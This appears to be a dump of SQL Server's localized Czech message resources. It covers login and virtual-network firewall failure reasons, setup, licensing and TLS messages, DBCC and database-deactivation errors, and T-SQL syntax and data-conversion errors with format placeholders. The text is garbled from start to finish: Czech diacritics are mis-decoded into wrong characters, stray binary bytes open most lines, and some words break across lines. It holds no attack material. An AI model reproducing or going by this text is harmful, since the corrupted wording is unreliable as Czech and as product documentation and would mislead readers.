�Dovod: PYihl�aen� selhalo, proto~e selhal pY�kaz USE db pYi kontrole pravidel firewallu.

�Dovod: PYihl�aen� selhalo, proto~e je nastaven� pY�znak OdepY�t extern� pYipojen�.

Dovod: PYihl�aen� selhalo, proto~e klient se odpojil, kdy~ bhem pYihlaaov�n� prob�halo zpracov�n� specifick� pro ovYov�n� FedAuth.

�Dovod: PYihl�aen� nebylo �span�, proto~e klient se pokoua� pou~�t ovYov�n� pomoc� certifik�tu bez spr�vn�ch opr�vnn�.

�Dovod: PYihl�aen� nebylo �span�, proto~e datab�zi nejde naj�t.

�Dovod: PYihl�aen� nebylo �span�, proto~e nen� dostupn� roza�Yen� funkce pYihlaaovac�ch tokeno.

�Dovod: PYihl�aen� nebylo �span�, proto~e roza�Yen� funkce pYihlaaovac�ch tokeno nem� spr�vn� form�t.

� Dovod: OvYen� pY�stupu k serveru na z�klad tokenu se nepovedlo kvoli chyb infrastruktury. PYihl�aen� je zak�zan�.

� Dovod: OvYen� pY�stupu k serveru na z�klad pYihl�aen� se nepovedlo kvoli chyb infrastruktury. PYihl�aen� je zak�zan�.

 Dovod: OvYen� pY�stupu k serveru na z�klad tokenu se nepovedlo kvoli chyb infrastruktury. PYihl�aen� nem� opr�vnn� Connect SQL.

 Dovod: OvYen� pY�stupu k serveru na z�klad pYihl�aen� se nepovedlo kvoli chyb infrastruktury. PYihl�aen� nem� opr�vnn� Connect SQL.

D Dovod: OvYen� pY�stupu k serveru na z�klad tokenu se nepovedlo kvoli chyb infrastruktury. PYihlaaovac� jm�no nem� opr�vnn� pro pYipojen� koncov�ho bodu.

L Dovod: OvYen� pY�stupu k serveru na z�klad pYihl�aen� se nepovedlo kvoli chyb infrastruktury. PYihlaaovac� jm�no nem� opr�vnn� pro pYipojen� koncov�ho bodu.

� Dovod: Pravidlo br�ny firewall virtu�ln� s�t odm�tlo pYihl�aen�.

� Dovod: Neo
ek�van� chyba pYi kop�rov�n� adresy IPv6 virtu�ln� s�t.

� Dovod: Neo
ek�van� chyba pYi parsov�n� adresy IPv6 virtu�ln� s�t.

� Dovod: Neo
ek�van� chyba pYi extrakci informac� metadat virtu�ln� s�t z adresy IPv6 (parsov�n� virtu�ln� s�t).

� Dovod: Neo
ek�van� chyba pYi prohled�v�n� tabulky pravidla br�ny firewall virtu�ln� s�t.

� Dovod: Neo
ek�van� chyba pYi prohled�v�n� tabulky COUNT pravidla br�ny firewall virtu�ln� s�t.

� Dovod: Br�na firewall virtu�ln� s�t odm�tla pYihl�aen�, proto~e zdroj pYihl�aen� je mimo virtu�ln� s�e.

( Dovod: Br�na firewall odm�tla pokus o pYihl�aen�, proto~e pravidla br�ny firewall virtu�ln� s�t nemaj� �roveH datab�ze, jenom �roveH serveru.

� Dovod: Br�na firewall odm�tla pYihl�aen�, proto~e byl pYijat pokus protokolu IPv6, kdy~ nebyl o
ek�v�n.

 Dovod: Neo
ek�van� chyba vyhled�v�n� v tabulce pravidel br�ny firewall virtu�ln� s�t pYi vyhled�v�n� pravidla Povolit vae pro IPv4.

� Dovod: Neo
ek�van� chyba pYi v�mn adresy partnersk�ho uzlu relace s adresou z�kazn�ka virtu�ln� s�t.

� Dovod: Neo
ek�van� chyba na obslu~n� rutin 
ten�, d�lka datov� 
�sti > velikost vyrovn�vac� pamti paketu SNI

� Dovod: Replikovan� hlavn� datab�ze nen� v tuto chv�li pYipravena a pYipojen� u~ivatelo nejsou povolena.

� Dovod: PYi vyhled�v�n� seznamu koncov�ch bodo rozhran� vyprael 
asov� limit z�mku

� Dovod: PYi vyhled�v�n� seznamu koncov�ch bodo rozhran� vyprael 
asov� limit z�mku

� Dovod: V seznamu nakonfigurovan�ch koncov�ch bodo rozhran� nebyla nalezena metadata virtu�ln� s�t pY�choz�ho pYihl�aen�

� Dovod: Neo
ek�van� chyba pYi kontrole uzam
en� pY�stupu ke koncov�m bodom rozhran�

 Dovod: Pravidlo Povolit vae Azure nejde vyhodnotit na pravidle firewallu na �rovni datab�ze pro pYipojen� koncov�ch bodo rozhran�

� Dovod: VnitYn� chyba. Neo
ek�van� pYipojen� front-end ke str�nkov�mu serveru Vldb.

4fulltextov� stoplist

%1!s!: Str�nku %2!s!:%3!s! nejde pYesunout, proto~e se jedn� o str�nku ploch�ho souboru SBS nebo je c�lem str�nka ploch�ho souboru SBS.

t%1!s!: Str�nku %2!s!:%3!s!. nejde pYesunout, proto~e se jedn� o str�nku trval�ho �lo~iat verz� mimo Y�dky. Dovod blokov�n� str�nky: %4!s!. asov� raz�tko blokov�n� str�nky: %5!s!.

�Chyba pYi aktualizaci procedury pYevzet� slu~eb pYi selh�n�.

�Nepovedlo se nastavit jeden nebo v�ce pY�znako trasov�n�. Nepodporovan� pY�znaky trasov�n�: %1!s!%2!s!%3!s!.

�PY�znaky trasov�n� na �rovni relace se ve spravovan� instanci nepodporuj�.

,PY�kaz %1!s!DBCC %2!s! pro ID datab�ze %3!s! byl abnorm�ln ukon
en kvoli chybov�mu stavu %4!s!. Uplynul� 
as: %5!s! h %6!s! min %7!s! s.  %8!s!

PY�kaz %1!s!DBCC %2!s! pro ID datab�ze %3!s! naael %4!s! chyb a %5!s! chyb opravil. Uplynul� 
as: %6!s! h %7!s! min %8!s! s.  %9!s!

�PYeps�n� serverem se u kategorie jeat nepodporuje (server: %1!s!, kategorie: %2!s!).

�N�zev kategorie je neplatn� nebo se jeat nepodporuje. Server: %1!s!. N�zev kategorie: %2!s!.

�Anal�za pYeps�n� serverem na serveru %1!s! se nepovedla. N�zev kategorie je %2!s! a Yetzec pYeps�n� je %3!s!.

\Pou~it� pYeps�n� serverem pro kategorii %1!s! se nepovedlo, proto~e fyzick� datab�ze nebo instance %2!s! na serveru %3!s! te nen� ve stavu PYipraveno nebo Deaktivov�no.

4Slou
en� pYeps�n� serverem do kontejneru objekto a dat ve fyzick� datab�zi nebo instanci %1!s! serveru %2!s! se nepovedlo. Xetzec pYeps�n� je %3!s!.

�PYeps�n� datab�ze u kategorie se jeat nepodporuje (Server: %1!s!, Datab�ze: %2!s!, Kategorie: %3!s!).

\Pou~it� pYeps�n� datab�ze pro kategorii %1!s! se nepovedlo, proto~e fyzick� datab�ze nebo instance %2!s! na serveru %3!s! te nen� ve stavu PYipraveno nebo Deaktivov�no.

�N�zev kategorie je bu neplatn�, nebo se jeat nepodporuje. Server: %1!s!. Datab�ze: %2!s!. N�zev kategorie: %3!s!.

�Doalo k chyb �lohy 
asova
e dynamick� deaktivace (k�d chyby SQL: %1!s!). Dala� podrobnosti najdete v souboru XEL.

�Datab�ze je te nedostupn�. Opakujte pros�m pokus o pYipojen� pozdji.

�Doalo k chyb �lohy 
asova
e vyu~it� datov�ho prostoru fondu prostYedko (k�d chyby SQL: %1!s!).

�Datab�zi nejde deaktivovat: server %1!s!, datab�ze %2!s!, c�l na �rovni slu~eb %3!s!.

�PYep�na
 funkc� DynamicActivation je pro server %1!s!, datab�zi %2!s!, c�l na �rovni slu~eb %3!s! vypnut�.

,PYep�na
 funkc� DynamicActivation nen� povolen� pro vaechny vzd�len� datab�ze �lo~iat: server %1!s!, datab�ze %2!s!, c�l na �rovni slu~by %3!s!.

DynamicActivation se podporuje jenom pro vzd�len� datab�ze �lo~iat: server %1!s!, datab�ze %2!s!, c�l na �rovni slu~by %3!s!.

�Deaktivovanou datab�zi u~ nejde znova deaktivovat: server %1!s!, datab�ze %2!s!.

�Operace s datab�z� pro server %1!s!, datab�zi %2!s! selhala kvoli neo
ek�van� prodlev. Zkuste to pros�m znovu.

�Pracovn� postup selhal kvoli omezov�n�: server %1!s!, datab�ze %2!s!

�Deaktivace nen� pro zak�zanou datab�zi podporovan�. Server %1!s!, datab�ze: %2!s!

�Funkce EnableForceNoBackupDeactivation nen� povolen�: server %1!s!, datab�ze %2!s!

Deaktivace nen� podporovan� pro datab�zi, kter� je sou
�st� servero v glob�ln�m transak
n�m partnerstv�. Server %1!s!, datab�ze: %2!s!.

Funkce DynamicActivation nen� pro GeoDR DB podporovan�: Logick� server: %1!s!, datab�ze: %2!s!, ServiceLevelObjective: %3!s!.

�Datab�zi nejde deaktivovat: server %1!s!, datab�ze %2!s!, c�l na �rovni slu~eb %3!s!.

�Server %1!s! a datab�ze %2!s! nemo~ou b�t online, proto~e je nastaven re~im BlockingMode.

�Selhal dotaz CMS na omezov�n� datab�ze %1!s!, %2!s! kvoli v�jimce: %3!s!

�Nejde deaktivovat datab�zi, kdy~ se u~ deaktivuje. Server: %1!s!, datab�ze: %2!s!.

�V �loze 
asova
e monitoru redukce doalo k chyb (k�d chyby SQL: %1!s!).	Dala� podrobnosti najdete v souboru XEL.

�Doalo k chyb �lohy 
asova
e statistik prostYedku spravovan�ho serveru (k�d chyby SQL: %1!s!).

�V �loze 
asova
e generov�n� sestav metrik Rg doalo k chyb (k�d chyby SQL: %1!s!).

�V �loze v�po
tu n�klado na pYesunut� a 
asova
i generov�n� sestav doalo k chyb (k�d chyby SQL: %1!s!).

Maxim�ln� po
et pracovn�ch vl�ken, kter� je konfigurov�n %1!s!, je ni~a� ne~ minim�ln� po
et povolen� v tomto po
�ta
i. M�sto toho bude pou~it v�choz� po
et %2!s!. Chcete-li maxim�ln� po
et pracovn�ch vl�ken zmnit, pou~ijte pY�kaz sp_configure max worker threads.

�Pro dan� po
et procesoro nen� k dispozici dostatek dostupn�ch pracovn�ch vl�ken. Dovodem je, ~e byl pYid�n nejm�n jeden procesor. Chcete-li po
et pracovn�ch vl�ken zv�ait, pou~ijte pY�kaz sp_configure 'max worker threads'.

�Bylo zjiatno %1!s! MB pamti RAM. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

��
et slu~by je %1!s!. Tato zpr�va je informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

8PYi otev�r�n� souboru parametro %2!s! doalo k chyb %1!s!. Zkontrolujte, zda dan� soubor existuje, a pokud ano, zda se jedn� o platn� soubor parametro.

�PYi zpracov�n� parametro z registru nebo z pY�kazov�ho Y�dku doalo k chyb %1!s!. Zkontrolujte parametry.

�Ignorovan� parametry spuatn� syst�mu SQL Server z registru, kter� se ji~ nepou~�vaj�: %1!s!

�N�sleduj�c� parametry spuatn� syst�mu SQL Server se ji~ nepou~�vaj� nebo byly nespr�vn zad�ny: %1!s!

<V tomto po
�ta
i je nainstalov�no v�ce instanc� syst�mu SQL server. Zadejte pY�kaz znovu a pou~ijte parametr -s s n�zvem instance, kter� m� b�t spuatna.

`Slu~ba Software Usage Metrics je zak�z�na.

tSpuatn� slu~by Software Usage Metrics se nezdaYilo.

`Slu~ba Software Usage Metrics je povolena.

�Serveru se nepodaYilo na
�st model DCOM. Slu~bu Usage Metrics nelze bez modelu DCOM spustit.

8%1!s! Trasov�n�: %2!s!

@V pY�kazov�m Y�dku registru byly nalezeny neplatn�, ne�pln� nebo zastaral� parametry. Za b~n�ch okolnost� by tyto parametry byly ignorov�ny. Parametr %1!s! byl vaak zad�n a to zposobilo ukon
en� syst�mu SQL Server. Odeberte chybn� parametry. Podrobnosti naleznete v protokolu chyb.

8�prava UTC: %1!s!:%2!s!

PV�choz� kolace: %1!s! (%2!s! %3!s!)

�Celkov� po
et vl�ken zapisova
e protokolu: %1!s!. Toto je informa
n� zpr�va. Nen� nutn� ~�dn� akce u~ivatele.

HZahajuje se instalace serveru.

�Doalo k chyb pYi nastavov�n� hesla spr�vce serveru. Chyba: %1!s!, z�va~nost: %2!s!, stav: %3!s!.

�Doalo k chyb pYi instalaci serveru. Dala� informace najdete u pYedchoz�ch chyb.

\Nastaven� serveru bylo �span dokon
eno.

�Paraleln� opakov�n� je %1!s! pro datab�zi %2!s! s velikost� fondu pracovn�ch proceso [%3!s!].

�Doalo k chyb pYi konfiguraci telemetrie stroje. Chyba: %1!s!, z�va~nost: %2!s!, stav: %3!s!.

pDoalo k chyb pYi inicializaci zabezpe
en�. %1!s!.

�CHYBA: Promnn� prostYed� MSSQL_SA_PASSWORD mus� b�t nastavena, kdy~ se pou~�v� mo~nost --reset-sa-password.

 PYi 
ten� konfigura
n�ch parametro RbIo doalo k chyb %1!s!. Zkontrolujte, ~e existuje pY�sluan� soubor sqlservr.ini nebo polo~ky registru.

hEnkl�va typu %1!s! byla �span inicializov�na.

CHYBA: Zadan� identifik�tor PID [%1!s!] je neplatn�. PID mus� m�t form�t #####-#####-#####-#####-#####, kde # je 
�slo nebo p�smeno.

�Chyba: V licen
n�m subsyst�mu doalo k selh�n�. Chyba [%1!s!].

�Identifik�tor PID pro licencov�n� byl �span zpracov�n. Nov� edice je [%1!s!].

�Certifik�t [soubor certifik�tu: %1!s!, soubor soukrom�ho kl�
e: %2!s!] byl �span na
ten pro aifrov�n�.

�Konfigurace TLS byla �span inicializov�na. Povolen� verze protokolu TLS jsou [%1!s!]. Povolen� aifry TLS jsou [%2!s!].

pCHYBA: Nejde nastavit heslo spr�vce syst�mu: %1!s!.

�Jeat pYed spuatn�m SQL Serveru je nutn� pYijmout licen
n� smlouvu s koncov�m

�u~ivatelem SQL Serveru. Licen
n� podm�nky pro tento produkt lze st�hnout na

hhttp://go.microsoft.com/fwlink/?LinkId=746388.

�Smlouvu EULA lze pYijmout zad�n�m mo~nosti pY�kazov�ho Y�dku --accept-eula,

�nastaven�m promnn� prostYed� ACCEPT_EULA nebo pomoc� n�stroje mssql-conf.

hParametry promnn� prostYed� po spuatn�:%1!s!

�Byl nastaven v�choz� jazyk (LCID %1!s!) pro fulltextov� slu~by a modul.

�Nepovedlo se nastavit v�choz� jazyk (LCID %1!s!) pro fulltextov� slu~by a modul.

�CHYBA: Promnn� prostYed� MSSQL_COLLATION obsahuje neplatnou kolaci %1!s!.

�Nebyl nalezen existuj�c� hlavn� datov� soubor %1!s!. Kop�ruj� se chybj�c� v�choz� hlavn� soubor a dala� syst�mov� soubory datab�ze. Pokud jste zmnili um�stn� datab�ze, ale nepYesunuli jste soubory datab�ze, spuatn� mo~e selhat. Oprav�te takto: vypnte SQL Server, pYesuHte hlavn� datab�zi do nakonfigurovan�ho um�stn� a restartujte.

�Krok instalace je %1!s!kop�rov�n� syst�mov�ho datov�ho souboru %2!s! do %3!s!.

�CHYBA: Instala
n�mu programu se NEPOVEDLO zkop�rovat datov� soubor syst�mu %1!s! do %2!s!: %3!s!

`CHYBA: %1!s! je adres�Y. Nelze pokra
ovat.

�CHYBA: Instala
n�mu programu se nepovedlo vytvoYit syst�mov� adres�Y dat %1!s!: %2!s!

�Upozornn�: Na adrese %2!s! doalo k z�va~n� chyb %1!s!. Poznamenejte si chybu a 
as a obraete se na spr�vce syst�mu.

TV pY�kazu WAITFOR nen� dotaz povolen.

TNespr�vn� syntaxe pobl�~ textu %1!s!.

�Identifik�tor %1!s! za
�naj�c� %2!s! je pY�lia dlouh�. Maxim�ln� d�lka je %3!s!.

Pokud pY�kaz obsahuje oper�tory UNION, INTERSECT nebo EXCEPT, musej� se polo~ky klauzule ORDER BY vyskytovat v seznamu SELECT.

dNeuzavYen� uvozovka za Yetzcem znako %1!s!.

�Dotaz obsahuje pY�lia mnoho n�zvo tabulek. Maxim�ln� povolen� po
et je %1!s!.

�PYedpona sloupce %1!s! se neshoduje s n�zvem tabulky ani n�zvem aliasu, kter� byly pou~ity v dotazu.

��slo pozice %1!s! klauzule ORDER BY je mimo rozsah po
tu polo~ek v seznamu SELECT.

`PY�kaz INSERT obsahuje v�ce sloupco, ne~ je hodnot zadan�ch v klauzuli VALUES. Po
et hodnot v klauzuli VALUES se mus� shodovat s po
tem sloupco zadan�ch v pY�kazu INSERT.

`PY�kaz INSERT obsahuje m�n sloupco, ne~ je hodnot zadan�ch v klauzuli VALUES. Po
et hodnot v klauzuli VALUES se mus� shodovat s po
tem sloupco zadan�ch v pY�kazu INSERT.

tPY�kaz %1!s! mus� b�t prvn�m pY�kazem v d�vce dotazu.

\V pY�kazu %1!s! nejsou povoleny promnn�.

dZna
ka ukon
en� koment�Ye */ nebyla nalezena.

�Pro pY�kaz, kter� promnn� pYiYazuje hodnoty, je proch�zec� re~im neplatn�.

�Pro pY�kazy, kter� obsahuj� oper�tory SET, je klauzule FOR UPDATE neplatn�.

�Kdy~ poddotaz nepYedch�z� funkce EXISTS, je mo~n� v seznamu SELECT zadat pouze jeden v�raz.

�N�zev %2!s! objektu %1!s! obsahuje v�ce ne~ maxim�ln� po
et pYedpon. Maxim�ln� po
et: %3!s!.

p�slo parametru %1!s! a n�sledn� parametry je tYeba pYedat ve tvaru @name = hodnota. Je-li pou~it tvar @name = hodnota, je tYeba v tomto tvaru pYedat i vaechny n�sledn� parametry.

8Seznam SELECT pro pY�kaz INSERT obsahuje m�n polo~ek ne~ seznam insert. Po
et hodnot pY�kazu SELECT se mus� shodovat s po
tem sloupco pY�kazu INSERT.

8Seznam SELECT pro pY�kaz INSERT obsahuje v�ce polo~ek ne~ seznam insert. Po
et hodnot pY�kazu SELECT se mus� shodovat s po
tem sloupco pY�kazu INSERT.

lMo~nost %1!s! je povolena pouze se syntax� %2!s!.

�D�vka nebo procedura pYekra
uje maxim�ln� d�lku %1!s! znako.

lPY�kaz CREATE PROCEDURE neobsahuje ~�dn� pY�kazy.

hV�razy Case lze vnoYit nejv�ae do �rovn %1!s!.

LPseudosloupec %1!s! je neplatn�.

xHodnota po
tu Y�dko TOP N nebo FETCH nesm� b�t z�porn�.

LN�zev %1!s! nen� v tomto kontextu povolen. Platn�mi v�razy jsou konstanty, konstantn� v�razy a (v nkter�ch kontextech) promnn�. N�zvy sloupco nejsou povoleny.

 Hodnota %1!s! nen� platnou procentu�ln� hodnotou pro vlastnost fillfactor. Hodnoty vlastnosti fillfactor je tYeba zadat v rozsahu 1 a~ 100.

�Agrega
n� funkci nelze pou~�t na v�razy, kter� obsahuj� agregaci nebo poddotaz.

�Velikost (%1!s!) pYiYazen� polo~ce %2!s! %3!s! pYekro
ila maxim�ln� povolenou velikost pro jak�koli datov� typ (%4!s!).

�N�vat� %1!s! ji~ bylo deklarov�no. N�zvy n�vat� v d�vce dotazu nebo ulo~en� proceduYe musej� b�t jedine
n�.

�PY�kaz GOTO odkazuje na n�vat� %1!s!. Toto n�vat� nebylo deklarov�no.

�N�zev promnn� %1!s! ji~ byl deklarov�n. N�zvy promnn�ch v d�vce dotazu nebo ulo~en� proceduYe musej� b�t jedine
n�.

pPY�kaz BREAK nelze pou~�t mimo obor pY�kazu WHILE.

tPY�kaz CONTINUE nelze pou~�t mimo obor pY�kazu WHILE.

dJe tYeba deklarovat skal�rn� promnnou %1!s!.

dKorela
n� klauzule nen� v poddotazu povolena.

hM�stn� promnn� nelze pYiYadit v�choz� hodnotu.

�V r�mci pY�kazu CREATE TRIGGER lze pou~�t pouze aktiva
n� ud�lost IF UPDATE.

�PY�kaz SELECT, kter� pYiYazuje hodnotu promnn�, nelze kombinovat s operacemi na
�t�n� dat.

|V definici omezen� %1!s! byla pou~ita nespr�vn� syntaxe.

�Ve v�razu klauzule GROUP BY, kter� vytv�Y� seznam GROUP BY, nelze pou~�t agregaci ani poddotaz.

�Je-li zad�n pY�kaz SELECT DISTINCT, musej� se polo~ky klauzule ORDER BY nach�zet na seznamu SELECT.

�Poddotazu nelze pYidlit pomocnou tabulku. Maxim�ln� po
et tabulek v dotazu (%1!s!) byl pYekro
en.

TV klauzuli WHERE se mo~e agregace nach�zet pouze tehdy, pokud je v poddotazu obsa~en�m v klauzuli HAVING nebo v seznamu SELECT a agregovan� sloupec je vnja� odkaz.

�Xetzec 
asu %1!s! pou~it� pY�kazem WAITFOR m� nespr�vnou 
asovou syntaxi.

�Hodnota 
asu %1!s! pou~it� v pY�kazu WAITFOR nen� platn�. Zkontrolujte syntaxi 
asu a data.

4Hodnota 
asu %1!s! pou~it� v pY�kazu MAX_DURATION nen� platn�. Doba 
ek�n� pY�kazu MAX_DURATION mus� b�t vta� nebo rovna 0 a mena� nebo rovna %2!s!.

`Hodnota %1!s! je neplatn� pen~n� hodnota.

�Stejn� mo~nost um�stn� velk�ho mno~stv� dat %1!s! byla zad�na dvakr�t.

pPou~it� mo~nosti %1!s! v pY�kazu %2!s! je neplatn�.

dMo~nost %1!s! nen� v polo~ce %2!s! povolena.

`%1!s! nen� zn�m� mo~nost pro funkci %2!s!.

hNespr�vn� syntaxe pobl�~ kl�
ov�ho slova %1!s!.

|Agregace se nemo~e nach�zet v seznamu set pY�kazu UPDATE.

hAgregace se nemo~e nach�zet v klauzuli OUTPUT.

|PY�kaz DROP INDEX po~aduje zad�n� n�zvu tabulky a indexu.

HPravidlo neobsahuje promnnou.

`Pravidlo obsahuje v�ce ne~ jednu promnnou.

lKlauzule TOP nebo OFFSET obsahuje neplatn� v�raz.

�Ka~d� v�raz GROUP BY mus� obsahovat alespoH jeden sloupec, kter� nen� vnja�m odkazem.

�Opr�vnn� %1!s! pravdpodobn nebylo udleno nebo bylo odvol�no.

�PY�kaz %1!s! nepovoluje zad�n� n�zvu datab�ze jako pYedpony n�zvu objektu.

lPolo~ku %1!s! nelze vytvoYit pro do
asn� objekt.

�Hodnota s plovouc� desetinnou 
�rkou %1!s! je mimo rozsah reprezentace v po
�ta
i (%2!s! bajto).

�Sloupec byl v seznamu ORDER BY zad�n v�ce ne~ jednou. Sloupce v seznamu ORDER BY musej� b�t jedine
n�.

�Proch�zec� re~im nelze pou~�t s pY�kazy INSERT, SELECT INTO a UPDATE.

�Pomocn� parametr HOLDLOCK nelze v proch�zec�m re~imu pou~�t.

lDefinice sloupce %1!s! mus� obsahovat datov� typ.

XFunkce %1!s! po~aduje %2!s! argumento.

�Agregace se nemo~e nach�zet ve v�razu pro po
�tan� sloupec nebo omezen� CHECK.

xKlauzule FOR BROWSE ji~ nen� v zobrazen�ch podporov�na.

�Funkci IDENTITY lze pou~�t pouze tehdy, kdy~ pY�kaz SELECT obsahuje klauzuli INTO.

�PY�kaz RETURN s n�vratovou hodnotou nelze v tomto kontextu pou~�t.

�PYi pYed�v�n� konstanty ulo~en� proceduYe nelze pou~�t mo~nost OUTPUT.

�Tento pY�kaz %1!s! obsahuje pY�lia mnoho parametro. Maxim�ln� po
et je %2!s!.

�V pY�kazech DECLARE, CREATE AGGREGATE a CREATE FUNCTION nelze pou~�t mo~nost OUTPUT.

�N�stroje WRITETEXT a READTEXT po~aduj� zad�n� n�zvu tabulky a sloupce.

�MY�tko (%1!s!) pro sloupec %2!s! mus� b�t v rozsahu %3!s!-%4!s!.

�Klauzuli DEFAULT nelze pro skupiny souboro s obsahem stejn�ho typu zadat v�ce ne~ jednou.

�Datov� proud je pro pY�kaz WRITETEXT v hromadn�m tvaru neplatn�.

hV pY�kazu WRITETEXT nebyl nalezen datov� proud.

|Platn� rozsah parametru MAX_QUEUE_READERS je 0 a~ 32767.

�Soubor protokolu nelze v pY�kazu CREATE DATABASE zadat, nen�-li z�roveH zad�n alespoH jeden datov� soubor.

hFunkce %1!s! po~aduje %2!s! a~ %3!s! argumento.

dV pY�kazu byl zad�n neplatn� 
as nebo datum.

�Nkter� 
�sti pY�kazu jazyka SQL jsou vnoYeny pY�lia hluboko. Dotaz pYepiate nebo jej rozdlte na mena� dotazy.

dMY�tko mus� b�t mena� nebo rovno pYesnosti.

�N�zev objektu nebo sloupce za
�naj�c� Yetzcem %1!s! je pY�lia dlouh�. Maxim�ln� d�lka je %2!s! znako.

�PY�kaz SELECT INTO nemo~e obsahovat pY�kaz SELECT, kter� promnn� pYiYazuje hodnoty.

H%1!s! nen� zn�m� polo~ka %2!s!.

�PY�kaz SELECT INTO mus� b�t prvn�m dotazem v pY�kazu, kter� obsahuje oper�tor UNION, INTERSECT nebo EXCEPT.

�PYi vkl�d�n� do promnn� tabulky nelze pY�kaz EXECUTE pou~�t jako zdroj.

�Pro pY�kazy obsahuj�c� oper�tor UNION, INTERSECT nebo EXCEPT je proch�zec� re~im neplatn�.

�PY�kaz INSERT nemo~e obsahovat pY�kaz SELECT, kter� promnn� pYiYazuje hodnoty.

�Procedura nebo funkce %1!s! o
ek�v� parametr %2!s!, kter� nebyl zad�n.

lNeplatn� typ %1!s! pro pY�kaz WAITFOR. Podporovan� datov� typy jsou CHAR nebo VARCHAR, NCHAR nebo NVARCHAR a DATETIME. PY�kaz WAITFOR DELAY podporuje datov� typy INT a SMALLINT.

XN�zev %1!s! nen� platn� identifik�tor.

XV uzlu %1!s! doalo k chyb normalizace.

Vaechny dotazy kombinovan� pomoc� oper�toru UNION, INTERSECT nebo EXCEPT musej� v c�lov�ch seznamech obsahovat stejn� po
et v�razo.

�Konflikt typo operando: %1!s! nen� kompatibiln� s operandem %2!s!

HNeplatn� n�zev sloupce: %1!s!.

HNeplatn� n�zev objektu: %1!s!.

PNejednozna
n� n�zev sloupce: %1!s!.

�PYevod Yetzce datov�ho typu binary nebo varbinary na typ datetime se nezdaYil.

Poakozen� v datab�zi s ID %1!s!, objektu s ID %2!s! pravdpodobn kvoli nekonzistenci sch�matu nebo katalogu. Spusete DBCC CHECKCATALOG.

�V�sledn� d�lka v�razu pYekra
uje maxim�ln� d�lku. Maxim�ln� d�lka: %1!s!. Nalezeno: %2!s!.

�N�zev sloupce nebo po
et zadan�ch hodnot se neshoduj� s definic� tabulky.

dProcedura o
ek�v� parametr %1!s! typu %2!s!.

 Byly zad�ny parametry pro objekt %1!s!, kter� nen� funkce. Pokud se m� jednat o pomocn� parametr tabulky, je po~adov�no kl�
ov� slovo WITH.

\Nebyly zad�ny parametry pro funkci %1!s!.

�Byla pYekro
ena maxim�ln� �roveH vnoYen� (%1!s!) ulo~en� procedury, funkce, aktiva
n� ud�losti nebo zobrazen�.

�Nelze nal�zt typ %1!s!. Typ neexistuje nebo nem�te nezbytn� opr�vnn�.

�Typ %1!s! ji~ existuje nebo nem�te opr�vnn� jej vytvoYit.

�Chyba aritmetick�ho pYete
en� datov�ho typu %1!s!, hodnota = %2!s!.

�Z�kladn� typ %1!s! nen� platn�m z�kladn�m typem pro datov� typ aliasu.

ID objektu %1!s! zadan� jako v�choz� hodnota pro ID tabulky %2!s!, ID sloupce %3!s! nebylo nalezeno nebo nen� v�choz�ho typu.

�ID objektu %1!s! zadan� jako pravidlo pro ID tabulky %2!s!, ID sloupce %3!s! nebylo nalezeno nebo nen� v�choz�ho typu.

�Parametry zadan� pro polo~ku %1!s! s n�zvem %2!s! nejsou platn�.

xPY�kaz %1!s! nen� pro v�cepY�kazovou transakci povolen.

h%1!s! nen� platn� funkce, vlastnost nebo pole.

�Metoda %1!s! typu %2!s! v sestaven� %3!s! nevrac� ~�dnou hodnotu.

�Opr�vnn� %1!s! bylo pro objekt %2!s! datab�ze %3!s! sch�matu %4!s! odepYeno.

�Opr�vnn� %1!s! bylo pro sloupec %2!s! objektu %3!s! datab�ze %4!s! sch�matu %5!s! odepYeno.

�Odpov�daj�c� v�choz� hodnota neexistuje. ID = %1!s!, ID datab�ze = %2!s!.

�Chyba aritmetick�ho pYete
en� typu %1!s!, hodnota = %2!s!.

�Sloupec %1!s! v tabulce %2!s! nemo~e obsahovat hodnotu null.

�Nen� dostatek m�sta pro v�sledek pro pYeveden� pen~n� hodnoty na %1!s!.

�Hodnotu typu char nelze pYev�st na typ money. Hodnota typu char m� nespr�vnou syntaxi.

�PYevod datov�ho typu char na datov� typ money zposobil chybu pYete
en� datov�ho typu money.

�Nen� dostatek m�sta pro v�sledek pro pYeveden� pen~n� hodnoty na %1!s!.

xByl zad�n duplicitn� n�zev v�razu b~n� tabulky %1!s!.

�Typ ukotven� se neshoduje s typem rekurzivn� 
�sti ve sloupci %1!s! rekurzivn�ho dotazu %2!s!.

�PYevod Yetzce znako na datov� typ Datum a 
as se nezdaYil.

�PYevod datov�ho typu %1!s! na datov� typ %2!s! vr�til hodnotu mimo rozsah.

\Typ %1!s! nen� definovan� syst�mov� typ.

PYevod datov�ho typu %1!s! s hodnotou %2!s! zposobil pYete
en� sloupce typu %3!s!. Pou~ijte sloupec s vta�mi cel�mi 
�sly.

�PYevod datov�ho typu %1!s! s hodnotou %2!s! na datov� typ %3!s! se nezdaYil.

tPro rekurzivn� dotaz %1!s! nebyl zad�n z�kladn� 
len.

�Byl nalezen z�kladn� 
len v rekurzivn� 
�sti rekurzivn�ho dotazu %1!s!.

�PYevod datov�ho typu %1!s! s hodnotou %2!s! zposobil pYete
en� sloupce s datov�m typem int.

�Typ %1!s! nen� porovnateln�. Nelze jej pou~�t v klauzuli %2!s!.

�Nelze pYidlit pomocnou tabulku pro optimalizaci dotazu. Maxim�ln� po
et tabulek v dotazu (%1!s!) byl pYekro
en.

�Rekurzivn� v�raz b~n� tabulky %1!s! neobsahuje oper�tor UNION ALL nejvyaa� �rovn.

�Rekurzivn� 
len v�razu b~n� tabulky %1!s! obsahuje v�ce rekurzivn�ch odkazo.

�V seznamu sloupco oper�toru PIVOT nejsou povoleny sloupce s pYedponou.

�V seznamu sloupco oper�toru PIVOT nejsou povoleny pseudosloupce.

�Datov� typ %1!s! je pro funkci %2!s! neplatn�. Povolen� typy: char, varchar, nchar, nvarchar, binary a varbinary.

�Implicitn� pYevod datov�ho typu %1!s! na typ %2!s! nen� povolen. Dotaz mo~ete spustit pomoc� funkce CONVERT.

TNelze volat metody pro objekt %1!s!.

|Ad hoc aktualizace syst�mov�ch katalogo nejsou povoleny.

,Implicitn� pYevod datov�ho typu %1!s! na datov� typ %2!s! tabulky %3!s! sloupce %4!s! nebyl povolen. Dotaz mo~ete spustit pomoc� funkce CONVERT.

<%1!s! nen� zn�m� funkce.

�Opr�vnn� pro pY�kaz %1!s! bylo v datab�zi %2!s! odepYeno.

xJe tYeba zadat tabulku, ze kter� m� b�t proveden v�br.

